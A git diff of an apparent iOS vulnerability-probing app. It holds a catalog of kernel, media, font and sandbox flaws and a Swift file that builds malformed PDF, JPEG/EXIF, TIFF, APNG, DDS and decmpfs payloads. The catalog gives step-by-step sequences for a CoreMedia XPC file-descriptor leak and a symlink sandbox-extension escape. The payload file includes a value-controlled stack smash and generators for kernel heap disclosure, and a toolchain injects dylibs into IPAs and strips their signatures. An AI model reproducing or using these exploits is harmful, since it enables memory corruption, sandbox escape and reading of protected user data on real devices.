Driven through the audioCustom event on CHHapticEngine, which is the closest public path to the server-side input. + """), + + "aud.immersive": Row( + title: "Immersive renderer data deserialisation capacity gap", + summary: """ + The count and dataByteSize taken off the wire are compared only against "how much is left on the wire", never against "how much the destination buffer holds", producing a linear heap overflow inside the audio server process. iOS 27.2 adds ReadImmersiveRendererDataV1/V2, folds destination capacity into the check, and adds a version 1..3 validity gate. + """, + notes: """ + No seed file is needed — the payload is the wire format itself. But the entry is on the audio service's XPC side, so from the app only the codec and immersive renderer reachability can be probed. + """), + + "aud.drc": Row( + title: "MPEG-D DRC downmix matrix coefficient validation", + summary: """ + On 27.0 selectDownmixMatrix has only zero and equality checks; the matrix dimensions come straight from DRC metadata and are never compared against the coefficient array's real length. iOS 27.2 adds three gates — nChannels ≤ 8, ordered dimensions, coefficient count == rows×cols — plus count checks in getSignalPeakLevel and Process. + """, + notes: """ + Needs an audio file carrying MPEG-D DRC metadata. From the app side this probes whether AudioCodecs exports those symbols. + """), + + // MARK: Video + + "vid.avc": Row( + title: "AVC slice count cap missing", + summary: """ + The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation, and 112454 replaces the histogram IOSurface pointer with a random cookie. + """, + notes: """ + The NAL-verified single-variable control is 32 slices → 900 slices. This module builds the 900-slice structure and hands it to CMVideoFormatDescription / VTDecompressionSession, judging by the plugin's own error code. + """), + + "vid.hevc": Row( + title: "MVHEVC layer id out of range", + summary: """ + Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight into the plugin's layer table index. iOS 27.2 adds layer id validation. + """, + notes: """ + Layer id 0x3F, outside the valid range. + """), + + // MARK: Fonts / Model I/O + + "font.cff": Row( + title: "CFF Type2 charstring operand stack overflow", + summary: """ + The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer. + """, + notes: """ + The seed is a bare CFF: a single charstring pushing 300 operands then endchar. The interpreter only runs when a glyph is actually drawn. + """), + + "font.gdef": Row( + title: "GDEFLigatureCaret offset-chain out-of-bounds read", + summary: """ + GDEF LigCaretList → LigGlyph → CaretValue offsets are followed directly on 27.0: the caret offset is read as a big-endian u16 and added to the LigGlyph base with neither an end-check nor a sign-check. The CaretValue offset is file-controlled, so pointing it outside the table walks out of the GDEF and the i16 coordinate read there is handed back to the caller as-is. iOS 27.2 clamps the offset against the GDEF table slice. + """, + notes: """ + The seed is a structurally complete TrueType whose LigCaretList covers glyph 1 with a CaretValue offset of 0x7F00 — about 32 KB past the font data. Driven through the public API CTFontGetLigatureCaretPositions: when the chain is followed a non-zero caret count comes back with heap-residue coordinates; when clamped the call returns 0. Also recorded: GDEF's other consumer, AttachList/AttachPoint, has the same offset-chasing shape and was not touched in this fix window — a negative result, kept on file. + """), + + "mdl.usda": Row( + title: "USDA declaration nesting depth", + summary: """ + The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation, Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib itself carries none of the fix. + """, + notes: """ + 2000 nested def Xform declarations. iOS 27.2 refuses at the nesting cap; 27.0 recurses. + """), + + // MARK: kext / IOKit + + "probe.hid": Row( + title: "IOHIDFamily preparsed data table index", + summary: """ + A signed int32 index from the record is scaled by 0x14 straight into the caps table base with only a 32-bit multiply-overflow trap and no comparison against the count. Negative indices read below the table, over-range indices read adjacent kernel heap, and the u32 that comes back enters element/event data — a kernel memory disclosure. iOS 27.2 adds cmp idx,count, a NULL guard and 64-bit index arithmetic. + """, + notes: """ + The entry is a kernel-side serialised "hid " preparsed container. Whether the app side can push such data in is precisely the question this step answers. + """), + + "probe.ane": Row( + title: "ANE kernel interface reachability", + summary: """ + An unchecked program symbolIndex indexes kernel tables and is written back — matching the advisory's "write kernel memory" shape. This module only probes whether the app can reach the ANE user-space entry points. + """, + notes: """ + 10.19.6 → 10.102.4, one of the largest single kext deltas in the whole diff. + """), + + "probe.privset": Row( + title: "This process's privilege surface", + summary: """ + The final privilege ceiling of this whole chain depends on what the process already holds. The csops flags, the entitlements, and the set of paths the sandbox permits together define the furthest point a modification tool can reach. + """, + notes: """ + Every directory in the path matrix that reads "writable" is the tool's real working range. + """), + + "kext.gpt": Row( + title: "GPT partition name scan 72-byte kernel heap out-of-bounds read", + summary: """ + The partition name scan's bound constant tightens from 0x48 to 0x24. 0x48 is 72 bytes, while the name field inside a GPT entry is only 36 UTF-16 units, so the 27.0 scan runs past the entry tail and into adjacent kernel heap. + """, + notes: """ + The app cannot attach a disk image, so this module does two things: build the image that would make 27.0 overrun, and parse it in user space to show the name field really is truncated inside the entry — the overrun itself happens kernel-side. + """), + + "kext.iohid": Row( + title: "IOKit event short-heap fixed-offset write", + summary: """ + This defect's carrier is user-space IOKit.framework rather than a kext: IOHIDEventAppendEvent performs an OR write at a fixed offset on a short heap event. iOS 27.2 fixes it inside the framework; the kernel's __DATA_CONST assert table has no related record. + """, + notes: """ + Probes whether user-space IOKit exports the event construction entry points. + """), + + // MARK: app and system processes + + "sb.stash": Row( + title: "SpringBoard stashed layout name validation", + summary: """ + iOS 27.2 adds +[SBHomeScreenService _validationErrorForStashedLayoutName:]: reject empty, cap length at 64, apply a character-set allowlist, on the stash/restore XPC interface. The 27.0 interface has no such layer. + """, + notes: """ + From the app only reachability of the SpringBoard service and presence of the class in-process can be observed. The real entry is XPC and requires crossing the sandbox. + """), + + "cal.unzip": Row( + title: "Calendar attachment extraction containment", + summary: """ + iOS 27.2 replaces _UnzipArchive (288 B, no limits at all) with _UnzipArchiveWithLimits (2040 B) and adds _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath plus isSymbolicLinkAtURL. The ICS parser itself is untouched — the whole fix sits in the attachment archive extraction containment layer. + """, + notes: """ + From the app one can verify whether CalendarFoundation's classes and methods are visible, and whether libarchive path traversal is contained in this process (test with an archive using a ../ name). + """), + + // MARK: cross-sandbox + + "cm.fdleak": Row( + title: "CoreMedia bytestream XPC cross-sandbox file descriptor acquisition", + summary: """ + The launchd service com.apple.coremedia.mediaplaybackd.bytestream.xpc is reachable from any sandboxed third-party app, checks no entitlement and raises no permission prompt. Its FigXPC memory-origin handshake (.rp1 → .rp2 → .org) returns status 0 for an unprivileged client; the subsequent 'Curl' create message carries a client-chosen absolute file:// path in CreationURL, and the daemon opens that path with its own credentials without checking either that it lies inside the requesting app's container or that the requester can read it. The reply's ByteStreamDetails dictionary carries a live FileDescriptor. The app dups it and preads — descriptor-level I/O is not subject to the client sandbox's path checks, so the full contents of a file the app's own open() returns EPERM for land in the app container. + """, + notes: """ + The same primitive carries three capabilities: 'Curl' against a protected directory returns a directory descriptor that fdopendir/readdir can enumerate; a real but forbidden path returns -12203 and a nonexistent one -17913, forming an existence oracle. iOS 27.0 sealed the read / fdsc / getL auxiliary opcodes (-16158) but left the primary fd-vending path inside the Curl create reply intact — verified end to end on both 27.0 and 27.0.1. The readable domain was mapped across 27 targets in both directions: only /private/var/mobile/Media/iTunes_Control/iTunes/ opens; Photos, Messages, Contacts, the TCC database, keychain, Safari, Health, Wallet and other app containers all return -12203. The write path is denied on both versions (-12878), so the primitive is read / enumerate / oracle, never write. + """), + + "cm.fdleak.boundary": Row( + title: "Cross-sandbox readable domain boundary mapping", + summary: """ + Fifteen high-value targets are each given a 'Curl' probe and the daemon's server-side error code is recorded, fixing the primitive's actual readable domain. Three outcomes are distinguished: opens, exists but denied (-12203), does not exist (-17913). The value of this pass is that it leaves the negative results on record — a target that was refused and a target that was never tested are entirely different conclusions. + """, + notes: """ + The source research probed 27 targets across 26.5 and 27.0 with a consistent result: only the iTunes media library directory opens. Photos, Messages, Contacts, TCC, keychain, Safari, Health, Wallet, other app containers and shared App Groups were all refused. This module reproduces that mapping so the boundary is measured on this device rather than cited. + """), + + "sbx.toctou": Row( + title: "sandbox_extension symlink TOCTOU out-of-bounds read", + summary: """ + sandbox_extension_issue_file resolves a symlink at issue time but does not enforce SANDBOX_EXTENSION_NOFOLLOW. The token it returns is therefore bound to the target resolved at issue time, and the kernel does not re-verify that the path used at consume time is the path the token was issued for. The sequence: create symlink L inside the sandbox pointing at in-sandbox file S; issue an extension for L (the kernel records S); repoint L at out-of-sandbox target T; consume the token and read through L. The kernel permits S's class while the path actually opened is T's. + """, + notes: """ + The sequence is deterministic and needs no race window — the link swap happens between two syscalls the app itself controls, not concurrently with the kernel. Apple's position is that an app cannot issue extensions for paths it does not own; the premise is true and irrelevant, because the extension is issued for a path the app does own and that path is then made to denote something else. Apple does not treat this as a security issue, so there is no CVE and none is invented here. The reliable targets are several files under /etc — readable at the vnode level and denied to the app only by the sandbox profile, which is exactly the gap this crosses. + """), + + // MARK: toolchain self-tests + + "tool.ipa": Row( + title: "IPA surgery self-test (rename / inject / prepare for re-sign)", + summary: """ + Builds a minimal IPA on the spot (Info.plist plus a real Mach-O) and runs the full modification flow: unpack → change CFBundleIdentifier → inject LC_LOAD_DYLIB → remove LC_CODE_SIGNATURE → repack with the project's own ZIP writer. The output lands in Documents/Cinder27/IPA and can be signed directly. + """, + notes: """ + This is not a vulnerability, it is proof of the toolchain. It passing means the IPA panel works on your device, not merely on the build machine. + """), + + "tool.zip": Row( + title: "ZIP writer round-trip self-test", + summary: """ + Builds an archive of random content with the project's own ZIP writer, unpacks it with libarchive, and compares byte for byte. This is what proves repacking does not quietly corrupt files — the one failure a modification tool must never have. + """, + notes: """ + 64 files of 4 KB random content each, comparing CRC and length. + """), + + "tool.macho": Row( + title: "Mach-O parser self-test", + summary: """ + Runs header parsing over several real binaries on the system volume: architecture, type, platform, minimum OS, SDK, encryption state, linked libraries, rpaths. Encryption state is the most informative field in the whole set — system frameworks have cryptid 0, third-party app binaries do not. + """, + notes: """ + Both the project's own parser and MachOInspector run, and the two results should agree. + """), + + "tool.hex": Row( + title: "Hex search and replace self-test", + summary: """ + Plants known patterns in a random buffer, then searches, replaces and re-searches using both hex and text notation, confirming the hit counts and offsets. + """, + notes: """ + This guards the place a modification tool is least allowed to be wrong. + """), + + "tool.container": Row( + title: "Container read/write normalisation (data container self-test and repair)", + summary: """ + Resolves every directory the tooling uses inside the data container, creates it, then actually creates a file, writes, fsyncs, reads back, compares and deletes. The four real reasons container writes failed before are all named here: a URL is not a directory, isWritableFile is a bad probe, container UUIDs change, and Library/Preferences belongs to cfprefsd. + """, + notes: """ + Leaves container_health.txt behind. The repair actions are idempotent and run again on every launch. + """), + + "tool.backup": Row( + title: "Backup and restore round-trip self-test", + summary: """ + Places a set of known-content files in the container, packs them into a ZIP, extracts to another directory, compares byte for byte, then removes them. This guards whether a backup can actually be restored — the previous version wrote a homegrown format under a .tar name and could not be read back. + """, + notes: """ + Also verifies that ../ and symlinks cannot escape the destination during extraction. + """), + + "tool.paths": Row( + title: "Filesystem permission matrix sweep", + summary: """ + Tries reading and writing across 30-plus key paths, recording readability, writability, entry count and errno. This is the activity map for the modification tool — it determines how far every panel can go. + """, + notes: """ + The result is also written to a text file in Documents for comparison. + """), + + // MARK: probes + + "iio.appx": Row( + title: "APP marker out-of-bounds read → leaked bytes written into the output JPEG", + summary: """ + _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself, needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting "marker 0x%04X is out of bounds" when it overruns. + """, + notes: """ + The only primitive in the set whose disclosure carrier is the produced file itself. The flow: feed an APP2 marker declaring 0xFFF0 against only 12 real bytes, decode, re-encode through CGImageDestination, then scan the output beyond the source marker's range for non-image bytes. + """), + + "iio.tiff.direntry": Row( + title: "TIFF directory entry allocation 32-bit truncation", + summary: """ + The output allocation size is computed as lsl w0, count, #log2(elemsize) — a 32-bit truncation. With count = 0x20000000 and 8-byte elements the allocation wraps to zero while the per-element conversion loop still performs count writes. iOS 27.2 switches to _TIFFCheckMalloc_type's 64-bit checked size. + """, + notes: """ + The primitive's precondition is count×elemsize crossing 2^32. This module drives the allocator with a 0x20000000 SBYTE array and observes whether it returns a null pointer (clean refusal) or a block far smaller than requested (truncation holds). + """), + + "iio.pdf.raster": Row( + title: "PDF rasterisation decode buffer overrun", + summary: """ + The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports "decode buffer too small: need %zu bytes (%zu x %zu), have %zu". + """, + notes: """ + A 4000×4000 page, entered through CGImageSource's PDF read path (not a direct drawPDFPage call) so that decodeImageData is hit. + """), + + "iio.pvr": Row( + title: "PVR bits-per-pixel below the channel bit sum", + summary: """ + The mutual consistency check between channel bit widths has always been present, but there is no lower bound comparing bitsPerPixel against the sum of channel bits. iOS 27.2 adds "_bitsPerPixel %d is too small for 4 channels of %d bits". + """, + notes: """ + Four channels at 8 bits each, while declaring bitsPerPixel = 8. + """), + ] +} diff --git a/Sources/Payloads.swift b/Sources/Payloads.swift new file mode 100644 index 0000000..1c3c3a1 --- /dev/null +++ b/Sources/Payloads.swift @@ -0,0 +1,562 @@ +import Foundation + +// MARK: - Bit stream (MSB-first), used by the shading decoder and the RPU builder + +struct BitWriter { + private(set) var out: [UInt8] = [] + private var acc: UInt8 = 0 + private var nbits = 0 + + mutating func put(_ value: UInt32, _ width: Int) { + guard width > 0 else { return } + for i in stride(from: width - 1, through: 0, by: -1) { + acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1) + nbits += 1 + if nbits == 8 { out.append(acc); acc = 0; nbits = 0 } + } + } + + mutating func putExpGolomb(_ value: UInt32) { + let v = value + 1 + var bits = 0 + while (v >> UInt32(bits)) > 1 { bits += 1 } + for _ in 0.. [UInt8] { + if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 } + return out + } +} + +// MARK: - PDF + +struct PDFBuilder { + private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:] + + mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) { + objects[n] = (dict, stream) + } + + func data() -> Data { + var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8) + var offsets: [Int: Int] = [:] + for n in objects.keys.sorted() { + guard let obj = objects[n] else { continue } + offsets[n] = out.count + out.append(Data("\(n) 0 obj\n".utf8)) + out.append(Data(obj.dict.utf8)) + if let stream = obj.stream { + out.append(Data("\nstream\n".utf8)) + out.append(Data(stream)) + out.append(Data("\nendstream".utf8)) + } + out.append(Data("\nendobj\n".utf8)) + } + let xrefPos = out.count + let maxObj = objects.keys.max() ?? 0 + out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8)) + for n in 1...max(maxObj, 1) { + let off = offsets[n] ?? 0 + out.append(Data(String(format: "%010d 00000 n \n", off).utf8)) + } + out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8)) + return out + } +} + +enum PDFPayload { + + /// CVE-2026-112611 — Type 5 (lattice Gouraud) shading. + /// + /// `/ColorSpace /DeviceGray` gives nc = 1; the `/Function` declares a `/Range` of + /// `rangeDim` outputs. `_cg_shading_type5_draw` builds a 72-byte mesh record per + /// triangle point with a 4-slot (32-byte) color area at +0x20 and calls + /// `CGFunctionEvaluate`, which writes `rangeDim` doubles there. The mesh array is a + /// stack VLA, so the last record's write walks up the frame. With `/C0 = /C1 = value` + /// every written double is the same chosen bit pattern — the smash is value-controlled. + static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data { + let bpCoord = 32 + let bpComp = 8 + + var bw = BitWriter() + var verts: [(UInt32, UInt32)] = [] + for r in 0..>") + pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") + pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>") + pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh")) + pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream) + pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>") + return pdf.data() + } + + /// CVE-2026-112610 — CMap `/UseCMap` recursion with an unclamped codespace length. + /// Reachability for the embedded-CMap vehicle was refuted in the source analysis; + /// this ships as a negative-result probe so the differential is on record. + static func cmapProbe(codespaceLength: Int = 128) -> Data { + var cmap = "" + cmap += "%!PS-Adobe-3.0 Resource-CMap\n" + cmap += "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n" + cmap += "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n" + cmap += "1 begincodespacerange\n" + cmap += "<\(String(repeating: "0", count: 2))> <\(String(repeating: "F", count: max(2, codespaceLength)))>\n" + cmap += "endcodespacerange\n" + cmap += "1 begincidrange\n<00> 0\nendcidrange\n" + cmap += "endcmap CMapName currentdict /CMap defineresource pop end end\n" + let cmapBytes = B.ascii(cmap) + + var pdf = PDFBuilder() + pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>") + pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") + pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>") + pdf.add(4, "<< /Length 30 >>", B.ascii("BT /F1 12 Tf 10 100 Td <0041> Tj ET")) + pdf.add(5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>") + pdf.add(6, "<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length \(cmapBytes.count) >>", cmapBytes) + pdf.add(7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>") + return pdf.data() + } +} + +// MARK: - JPEG / EXIF + +enum JPEGPayload { + + static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] } + + /// Family D — a marker declaring a length far beyond the bytes present. + /// 27.0 warns and keeps parsing (OOB read); 27.2 aborts. + static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data { + var out = minimalSOI() + out += [0xFF, 0xE1] + out += [UInt8((declared >> 8) & 0xff), UInt8(declared & 0xff)] + out += Array(repeating: 0x41, count: max(0, actual - 2)) + out += [0xFF, 0xD9] + return Data(out) + } + + /// Family J — EXIF UserComment whose value offset lands past the marker, so the + /// short read leaves the malloc'd buffer tail uninitialised and the metadata read + /// returns stale heap bytes. + static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data { + var tiff = Data() + tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) // MM, 42 + tiff.append(contentsOf: B.be32(8)) // IFD0 at 8 + tiff.append(contentsOf: B.be16(1)) // 1 entry + tiff.append(contentsOf: B.be16(0x9286)) // UserComment + tiff.append(contentsOf: B.be16(7)) // UNDEFINED + tiff.append(contentsOf: B.be32(UInt32(count))) + tiff.append(contentsOf: B.be32(UInt32(valueOffset))) // far past the block + tiff.append(contentsOf: B.be32(0)) // next IFD + + var out = minimalSOI() + let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff) + let len = payload.count + 2 + out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)] + out += payload + out += [0xFF, 0xD9] + return Data(out) + } + + /// Family F — GPS IFD whose value offsets point far past the GPS blob. + static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data { + var tiff = Data() + tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) + tiff.append(contentsOf: B.be32(8)) + tiff.append(contentsOf: B.be16(1)) + tiff.append(contentsOf: B.be16(0x8825)) // GPSInfoIFDPointer + tiff.append(contentsOf: B.be16(4)) // LONG + tiff.append(contentsOf: B.be32(1)) + tiff.append(contentsOf: B.be32(26)) // GPS IFD at 26 + tiff.append(contentsOf: B.be32(0)) + // GPS IFD + tiff.append(contentsOf: B.be16(2)) + tiff.append(contentsOf: B.be16(0x0000)) // GPSVersionID + tiff.append(contentsOf: B.be16(1)) + tiff.append(contentsOf: B.be32(4)) + tiff.append(contentsOf: [2, 3, 0, 0]) + tiff.append(contentsOf: B.be16(0x0006)) // GPSAltitude + tiff.append(contentsOf: B.be16(5)) // RATIONAL + tiff.append(contentsOf: B.be32(1)) + tiff.append(contentsOf: B.be32(UInt32(26 + 18 + delta))) // far past the blob + tiff.append(contentsOf: B.be32(0)) + + var out = minimalSOI() + let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff) + let len = payload.count + 2 + out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)] + out += payload + out += [0xFF, 0xD9] + return Data(out) + } +} + +// MARK: - TIFF + +enum TIFFPayload { + + struct Entry { + let tag: UInt16 + let type: UInt16 + let count: UInt32 + let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4 + } + + static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data { + let ifdOffset = 8 + let ifdSize = 2 + entries.count * 12 + 4 + var extraOffset = ifdOffset + ifdSize + if extraOffset % 2 == 1 { extraOffset += 1 } + + var extra = Data() + var blobOffsets: [UInt16: UInt32] = [:] + for blob in blobs { + blobOffsets[blob.tag] = UInt32(extraOffset + extra.count) + extra.append(contentsOf: blob.bytes) + } + + var out = Data() + out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00]) + out.append(contentsOf: B.le32(UInt32(ifdOffset))) + out.append(contentsOf: B.le16(UInt16(entries.count))) + for e in entries.sorted(by: { $0.tag < $1.tag }) { + out.append(contentsOf: B.le16(e.tag)) + out.append(contentsOf: B.le16(e.type)) + out.append(contentsOf: B.le32(e.count)) + if e.value.count <= 4 { + var v = e.value + while v.count < 4 { v.append(0) } + out.append(contentsOf: v) + } else { + out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0)) + } + } + out.append(contentsOf: B.le32(0)) + if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) } + out.append(extra) + return out + } + + /// Family A — planar configuration with more planes than the destination row can hold. + /// + /// Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with + /// PlanarConfiguration=2 makes the 4th plane scatter past it. The scatter offset in + /// 27.0 is a 32-bit multiply with no capacity compare against the row. + static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data { + let bits: [UInt8] = (0.. 4), so they live in the extra area as a blob and the IFD + /// field holds the blob offset — a zeroed entry would send both strips to the file + /// header and never truncate anything. Two-pass build: the placeholder blob fixes + /// the layout (identical sizes both passes), the second pass writes real offsets. + static func truncatedStrip(width: Int = 32, height: Int = 32) -> Data { + let stripBytes = width * height / 2 + let placeholder: [UInt8] = [UInt8](repeating: 0, count: 8) + var entries: [Entry] = [ + Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))), + Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))), + Entry(tag: 258, type: 3, count: 1, value: B.le16(8)), + Entry(tag: 259, type: 3, count: 1, value: B.le16(1)), + Entry(tag: 262, type: 3, count: 1, value: B.le16(1)), + Entry(tag: 273, type: 4, count: 2, value: placeholder), + Entry(tag: 277, type: 3, count: 1, value: B.le16(1)), + Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height / 2))), + Entry(tag: 279, type: 4, count: 2, value: B.le32(UInt32(stripBytes)) + B.le32(UInt32(stripBytes))), + Entry(tag: 284, type: 3, count: 1, value: B.le16(1)), + ] + // pass 1: identical-size placeholder fixes the file length + var data = build(entries: entries, blobs: [(273, placeholder)]) + let base = UInt32(data.count) + // pass 2: real strip offsets — both passes produce the same layout + let stripOffsets = B.le32(base) + B.le32(base + UInt32(stripBytes)) + entries[5] = Entry(tag: 273, type: 4, count: 2, value: stripOffsets) + data = build(entries: entries, blobs: [(273, stripOffsets)]) + data.append(contentsOf: [UInt8](repeating: 0x33, count: stripBytes)) + data.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) // truncated second strip + return data + } +} + +// MARK: - PNG / APNG + +enum PNGPayload { + static func crc32(_ bytes: [UInt8]) -> UInt32 { + var table = [UInt32](repeating: 0, count: 256) + for i in 0..<256 { + var c = UInt32(i) + for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) } + table[i] = c + } + var crc: UInt32 = 0xFFFFFFFF + for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) } + return crc ^ 0xFFFFFFFF + } + + /// Stored (uncompressed) deflate wrapped in zlib — a valid stream with no compressor. + static func zlibStore(_ input: [UInt8]) -> [UInt8] { + var out: [UInt8] = [0x78, 0x01] + var offset = 0 + if input.isEmpty { out += [0x01, 0x00, 0x00, 0xFF, 0xFF] } + while offset < input.count { + let take = min(65535, input.count - offset) + out.append(offset + take >= input.count ? 0x01 : 0x00) + out += B.le16(UInt16(take)) + out += B.le16(UInt16(~take & 0xFFFF)) + out += Array(input[offset..<(offset + take)]) + offset += take + } + var a: UInt32 = 1, b: UInt32 = 0 + for byte in input { + a = (a + UInt32(byte)) % 65521 + b = (b + a) % 65521 + } + out += B.be32((b << 16) | a) + return out + } + + static func chunk(_ type: String, _ data: [UInt8], declaredLength: Int? = nil, truncateTo: Int? = nil) -> [UInt8] { + let body = truncateTo.map { Array(data.prefix($0)) } ?? data + let len = UInt32(declaredLength ?? data.count) + var out = B.be32(len) + B.ascii(type) + body + out += B.be32(crc32(B.ascii(type) + body)) + return out + } + + /// Family H — an fcTL chunk truncated mid-header. + /// + /// 27.0 reads 34 bytes at the fcTL offset and never checks the return value, so a file + /// that ends inside the fcTL leaves a 34-byte stack buffer partly uninitialised and the + /// frame geometry is parsed out of whatever was there. 27.2 reads 26 bytes and compares + /// against 0x1a. + static func apngTruncatedFCTL(mode: Int = 0) -> Data { + var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] + out += chunk("IHDR", B.be32(4) + B.be32(4) + [8, 6, 0, 0, 0]) + out += chunk("acTL", B.be32(2) + B.be32(0)) + var fctl: [UInt8] = B.be32(0) + B.be32(4) + B.be32(4) + B.be32(0) + B.be32(0) + fctl += B.be16(1) + B.be16(10) + [0, 0] + + // a real 4x4 RGBA frame so the container itself is valid + var rawRows: [UInt8] = [] + for _ in 0..<4 { + rawRows.append(0) + rawRows += [UInt8](repeating: 0x80, count: 16) + } + let idat = chunk("IDAT", zlibStore(rawRows)) + + if mode == 2 { + // control: a fully valid first fcTL (proves the container is otherwise sound) + out += chunk("fcTL", fctl) + out += idat + out += chunk("IEND", []) + } else if mode == 0 { + // proper chunk header claiming 26 bytes, only 4 present, then IEND + out += chunk("fcTL", fctl, declaredLength: 26, truncateTo: 4) + out += idat + out += chunk("IEND", []) + } else { + // file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND + out += B.be32(26) + B.ascii("fcTL") + Array(fctl.prefix(4)) + } + return Data(out) + } +} + +// MARK: - DDS / KTX + +enum TexturePayload { + /// Family G — BC7 DDS whose single mip level is far shorter than the block math needs. + static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data { + var out = Data("DDS ".utf8) + out.append(contentsOf: B.le32(124)) + out.append(contentsOf: B.le32(0x00081007)) + out.append(contentsOf: B.le32(UInt32(height))) + out.append(contentsOf: B.le32(UInt32(width))) + out.append(contentsOf: B.le32(0)) + out.append(contentsOf: B.le32(0)) + out.append(contentsOf: B.le32(1)) + out.append(contentsOf: [UInt8](repeating: 0, count: 44)) + out.append(contentsOf: B.le32(32)) + out.append(contentsOf: B.le32(0x4)) + out.append(contentsOf: B.ascii("DX10")) + out.append(contentsOf: [UInt8](repeating: 0, count: 20)) + out.append(contentsOf: B.le32(0x1000)) + out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0)) + // DX10 header — DXGI_FORMAT_BC7_UNORM = 98, TEXTURECUBE off, arraySize 1 + out.append(contentsOf: B.le32(98) + B.le32(3) + B.le32(0) + B.le32(1) + B.le32(0)) + out.append(contentsOf: [UInt8](repeating: 0, count: max(1, dataBytes))) + return out + } +} + +// MARK: - decmpfs (AppleFSCompression) + +enum Decmpfs { + static let magic: UInt32 = 0x636D_7066 // 'cmpf' + static let typeZlibChunked: UInt32 = 4 + + /// Build a `com.apple.decmpfs` xattr payload: type-4 chunked zlib, with per-chunk + /// control over how many bytes each zlib stream actually produces. + /// + /// CVE-2026-113910 lives in AppleFSCompressionTypeZlib: a chunk that decompresses to + /// fewer bytes than the chunk table promises leaves the tail of the kernel page buffer + /// unwritten, and that stale kernel heap is what read() hands back to the app. + static func chunkedXattr(uncompressedSize: Int, chunkCount: Int, producePerChunk: Int) -> Data { + var out = Data() + out.append(contentsOf: B.le32(magic)) + out.append(contentsOf: B.le32(typeZlibChunked)) + out.append(contentsOf: B.le64(UInt64(uncompressedSize))) + + let headerSize = 16 + (chunkCount + 1) * 4 + var chunkBlobs: [[UInt8]] = [] 